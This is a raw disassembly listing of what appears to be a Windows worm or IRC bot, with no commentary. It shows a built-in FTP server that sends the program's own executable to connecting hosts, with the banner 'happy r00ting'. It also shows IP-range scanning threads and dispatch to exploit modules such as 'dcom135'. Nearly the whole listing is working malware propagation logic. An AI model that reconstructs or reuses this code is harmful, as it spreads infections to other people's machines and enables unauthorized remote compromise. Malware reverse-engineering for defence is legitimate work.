		jnz	short loc_40302B
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_40301B:				; CODE XREF: sub_402C55+415j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_403200
; ---------------------------------------------------------------------------


loc_40302B:				; CODE XREF: sub_402C55+39Dj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40306C
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_40301B
; ---------------------------------------------------------------------------


loc_40306C:				; CODE XREF: sub_402C55+3EBj
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403140
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_40F871
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_40FB66
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_40FB66
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_40E800
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_40EE10
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_40FAC4
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_40EE10
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_403140:				; CODE XREF: sub_402C55+42Cj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4031DE
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_40322E
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4031D4
		call	sub_4032AB
		cmp	eax, 1
		jnz	short loc_403200
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_41DEB0
		push	eax
		call	sub_40EE10
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_4084CC
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_407A4E
		add	esp, 24h
		jmp	short loc_403200
; ---------------------------------------------------------------------------


loc_4031D4:				; CODE XREF: sub_402C55+522j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4031FD
; ---------------------------------------------------------------------------


loc_4031DE:				; CODE XREF: sub_402C55+500j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403200
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4031FD:				; CODE XREF: sub_402C55+27Dj
					; sub_402C55+2A1j ...
		push	edi
		call	ebx	; send


loc_403200:				; CODE XREF: sub_402C55+3D1j
					; sub_402C55+52Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_40E800
		add	esp, 0Ch


loc_403212:				; CODE XREF: sub_402C55+146j
					; sub_402C55+173j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_402D69
		jmp	loc_402D30
; ---------------------------------------------------------------------------


loc_403224:				; CODE XREF: sub_402C55+106j
		push	1
		pop	eax


loc_403227:				; CODE XREF: sub_402C55+B8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_402C55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40322E	proc near		; CODE XREF: sub_402C55+518p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_41A198	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_41A1C4	; socket
		push	[ebp+arg_0]
		mov	dword_424F08, eax
		mov	[ebp+var_10], 2
		call	dword_41A1B0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_41A1B4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_424F08
		call	dword_41A1B8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4032A6
		push	dword_424F08
		call	dword_41A1C0	; closesocket
		call	dword_41A194	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4032A6:				; CODE XREF: sub_40322E+60j
		push	1
		pop	eax
		leave
		retn
sub_40322E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032AB	proc near		; CODE XREF: sub_402C55+524p

var_1104	= byte ptr -1104h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		mov	eax, 1104h
		call	sub_40EC80
		push	esi
		push	edi
		lea	eax, [ebp+var_104]
		push	104h
		xor	edi, edi
		push	eax
		push	edi
		call	dword_41A078	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_40FF46
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jz	short loc_403352
		push	2
		push	edi
		push	esi
		call	sub_40FE9A
		push	esi
		call	sub_40FD42
		push	edi
		push	edi
		push	esi
		call	sub_40FE9A
		add	esp, 1Ch


loc_403302:				; CODE XREF: sub_4032AB+8Ej
					; sub_4032AB+A5j
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_403352
		push	1000h
		lea	eax, [ebp+var_1104]
		push	edi
		push	eax
		call	sub_40E800
		push	esi
		push	800h
		lea	eax, [ebp+var_1104]
		push	1
		push	eax
		call	sub_40FC5A
		add	esp, 1Ch
		test	byte ptr [esi+0Ch], 20h
		jnz	short loc_403352
		cmp	eax, edi
		jle	short loc_403302
		push	edi
		push	eax
		lea	eax, [ebp+var_1104]
		push	eax
		push	dword_424F08
		call	dword_41A1C8	; send
		jmp	short loc_403302
; ---------------------------------------------------------------------------


loc_403352:				; CODE XREF: sub_4032AB+3Bj
					; sub_4032AB+5Bj ...
		push	esi
		call	sub_40FC04
		pop	ecx
		push	dword_424F08
		call	dword_41A1C0	; closesocket
		call	dword_41A194	; WSACleanup
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4032AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403372	proc near		; CODE XREF: sub_40997B+3F88p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_41E244
		push	eax
		xor	ebx, ebx
		call	sub_40EE10
		cmp	dword_41E0F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4033E0
		push	esi
		mov	esi, offset dword_41E100


loc_4033A5:				; CODE XREF: sub_403372+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_41E234
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40FF60
		add	esi, 38h
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4033A5
		pop	esi


loc_4033E0:				; CODE XREF: sub_403372+2Bj
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset dword_41E220
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40FF60
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A4E
		add	esp, 30h
		pop	edi
		pop	ebx
		leave
		retn
sub_403372	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403430	proc near		; CODE XREF: sub_40997B+33BFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_40E41E
		test	eax, eax
		pop	ecx
		jle	short loc_40346C
		mov	eax, [ebp+arg_C]
		push	dword_424F18[eax*8]
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_41E29C
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		jmp	short loc_40347F
; ---------------------------------------------------------------------------


loc_40346C:				; CODE XREF: sub_403430+13j
		lea	eax, [ebp+var_200]
		push	offset unk_41E274
		push	eax
		call	sub_40EE10
		pop	ecx
		pop	ecx


loc_40347F:				; CODE XREF: sub_403430+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4084CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A4E
		add	esp, 18h
		leave
		retn
sub_403430	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034A7	proc near		; CODE XREF: sub_4039C6+4Fp

var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		jz	loc_40362A
		imul	eax, 38h
		xor	ebx, ebx
		cmp	dword_41E104[eax], ebx
		jz	loc_40362A
		push	5
		call	sub_40E41E
		test	eax, eax
		pop	ecx
		jnz	loc_40362A
		push	esi
		push	edi
		push	ebx
		call	sub_4101B6
		push	eax
		call	sub_41018E
		pop	ecx
		pop	ecx
		call	sub_410198
		cdq
		mov	ecx, 0FC17h
		mov	edi, offset dword_426F1C
		idiv	ecx
		push	104h
		push	edi
		push	ebx
		mov	dword_427128, ebx
		add	edx, 3E8h
		mov	dword_42712C, edx
		call	dword_41A078	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_427020
		push	offset byte_41FCA4
		push	esi
		call	sub_410090
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_426F18, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4271B0, eax
		jnz	short loc_403577
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_427130
		call	sub_410090
		add	esp, 0Ch
		mov	dword_4271B4, 1
		jmp	short loc_403591
; ---------------------------------------------------------------------------


loc_403577:				; CODE XREF: sub_4034A7+B1j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_427130
		call	sub_410090
		add	esp, 0Ch
		mov	dword_4271B4, ebx


loc_403591:				; CODE XREF: sub_4034A7+CEj
		push	esi
		push	edi
		push	dword_42712C
		lea	eax, [ebp+var_204]
		push	offset dword_41E304
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40E1D6
		add	esp, 20h
		mov	dword_427124, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_426F18
		push	offset sub_402C55
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, dword_427124
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		pop	esi
		mov	dword_42D2EC[ecx], eax
		jz	short loc_403602


loc_4035F0:				; CODE XREF: sub_4034A7+159j
		cmp	dword_4271B8, ebx
		jnz	short loc_40361D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_4035F0
; ---------------------------------------------------------------------------


loc_403602:				; CODE XREF: sub_4034A7+147j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_41E2C8
		push	eax
		call	sub_40EE10
		add	esp, 0Ch


loc_40361D:				; CODE XREF: sub_4034A7+14Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_407A4E
		pop	ecx


loc_40362A:				; CODE XREF: sub_4034A7+13j
					; sub_4034A7+24j ...
		pop	ebx
		leave
		retn
sub_4034A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40362D	proc near		; CODE XREF: sub_4037AE:loc_40381Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:424F18h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_40E940
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_427248	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_427310	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_40E940
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40362D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403675	proc near		; CODE XREF: sub_4037AE+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_40E730
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40369D
		xor	eax, eax
		jmp	short loc_40370E
; ---------------------------------------------------------------------------


loc_40369D:				; CODE XREF: sub_403675+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_41E35C
		push	[ebp+arg_0]
		call	sub_40F871
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4036CA
		call	sub_410198
		mov	[ebp+var_C], eax


loc_4036CA:				; CODE XREF: sub_403675+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4036D7
		call	sub_410198
		mov	[ebp+var_8], eax


loc_4036D7:				; CODE XREF: sub_403675+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4036E4
		call	sub_410198
		mov	[ebp+var_4], eax


loc_4036E4:				; CODE XREF: sub_403675+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4036F0
		call	sub_410198


loc_4036F0:				; CODE XREF: sub_403675+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_424F18[ecx*8], eax


loc_40370E:				; CODE XREF: sub_403675+26j
		pop	esi
		leave
		retn
sub_403675	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403711	proc near		; CODE XREF: sub_4037AE+BBp
					; sub_408318+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_427394	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40373A
		xor	eax, eax
		jmp	short loc_4037A9
; ---------------------------------------------------------------------------


loc_40373A:				; CODE XREF: sub_403711+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_427314	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4273B0	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4272BC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4272FC	; select
		push	esi
		mov	edi, eax
		call	dword_4273AC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_4037A9:				; CODE XREF: sub_403711+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037AE	proc near		; DATA XREF: sub_4039C6+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_41A090	; GetTickCount
		push	eax
		call	sub_41018E
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4037F5:				; CODE XREF: sub_4037AE+204j
		mov	eax, dword_42D2DC[ebx]
		cmp	dword_424F1C[eax*8], 0
		jz	loc_4039B7
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40381F
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_403675
		pop	ecx
		jmp	short loc_403824
; ---------------------------------------------------------------------------


loc_40381F:				; CODE XREF: sub_4037AE+60j
		call	sub_40362D


loc_403824:				; CODE XREF: sub_4037AE+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_42D2DC[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_41E3A4
		push	eax
		call	sub_40EE10
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_42D0D8[ebx]
		push	eax
		call	sub_40EE10
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_403711
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_4039A7
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4038FB
		push	offset dword_4271C0
		call	dword_41A08C	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset dword_41E368
		push	eax
		call	sub_40EE10
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4038DD
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4038D1
		lea	eax, [ebp+var_140]


loc_4038D1:				; CODE XREF: sub_4037AE+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_4084CC
		add	esp, 14h


loc_4038DD:				; CODE XREF: sub_4037AE+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_407A4E
		mov	[esp+2A8h+var_2A8], offset dword_4271C0
		call	dword_41A088	; RtlLeaveCriticalSection
		jmp	loc_4039A7
; ---------------------------------------------------------------------------


loc_4038FB:				; CODE XREF: sub_4037AE+D0j
		push	edi
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40EE10
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 38h
		pop	ecx
		add	eax, offset aDcom135 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_40EE10
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_403940
		lea	eax, [ebp+var_140]


loc_403940:				; CODE XREF: sub_4037AE+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_40EE10
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 38h
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_41E0FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_4039A7:				; CODE XREF: sub_4037AE+C6j
					; sub_4037AE+148j
		push	7D0h
		call	dword_41A060	; Sleep
		jmp	loc_4037F5
; ---------------------------------------------------------------------------


loc_4039B7:				; CODE XREF: sub_4037AE+55j
		push	esi
		call	sub_40E4F2
		pop	ecx
		push	0
		call	dword_41A084	; ExitThread
sub_4037AE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039C6	proc near		; DATA XREF: sub_40997B+278Fo
					; sub_40997B+32F5o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_427354	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_424F18[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4034A7
		push	8
		call	sub_40E41E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_403A94
		mov	esi, offset dword_4271C0
		push	esi
		call	dword_41A098	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_41A094	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_403A94
		lea	eax, [ebp+var_1CC]
		push	offset unk_41E4D8
		push	eax
		call	sub_40EE10
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_403A7E
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_4084CC
		add	esp, 14h


loc_403A7E:				; CODE XREF: sub_4039C6+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407A4E
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_403A94:				; CODE XREF: sub_4039C6+63j
					; sub_4039C6+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_41A060
		mov	edi, ebx
		mov	dword_424F1C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_403B61


loc_403AB2:				; CODE XREF: sub_4039C6+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_41E48C
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_40E1D6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_42D2DC[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_4037AE
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_403B2C


loc_403B21:				; CODE XREF: sub_4039C6+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_403B53
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_403B21
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4039C6+159j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset dword_41E448
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407A4E
		add	esp, 10h


loc_403B53:				; CODE XREF: sub_4039C6+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_403AB2


loc_403B61:				; CODE XREF: sub_4039C6+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_403C0B
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_403B76:				; CODE XREF: sub_4039C6+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_424F18[eax*8]
		push	eax
		call	dword_4273A0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_41E3F4
		push	eax
		call	sub_40EE10
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_403BC4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_4084CC
		add	esp, 14h


loc_403BC4:				; CODE XREF: sub_4039C6+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_407A4E
		mov	eax, [ebp+var_2C]
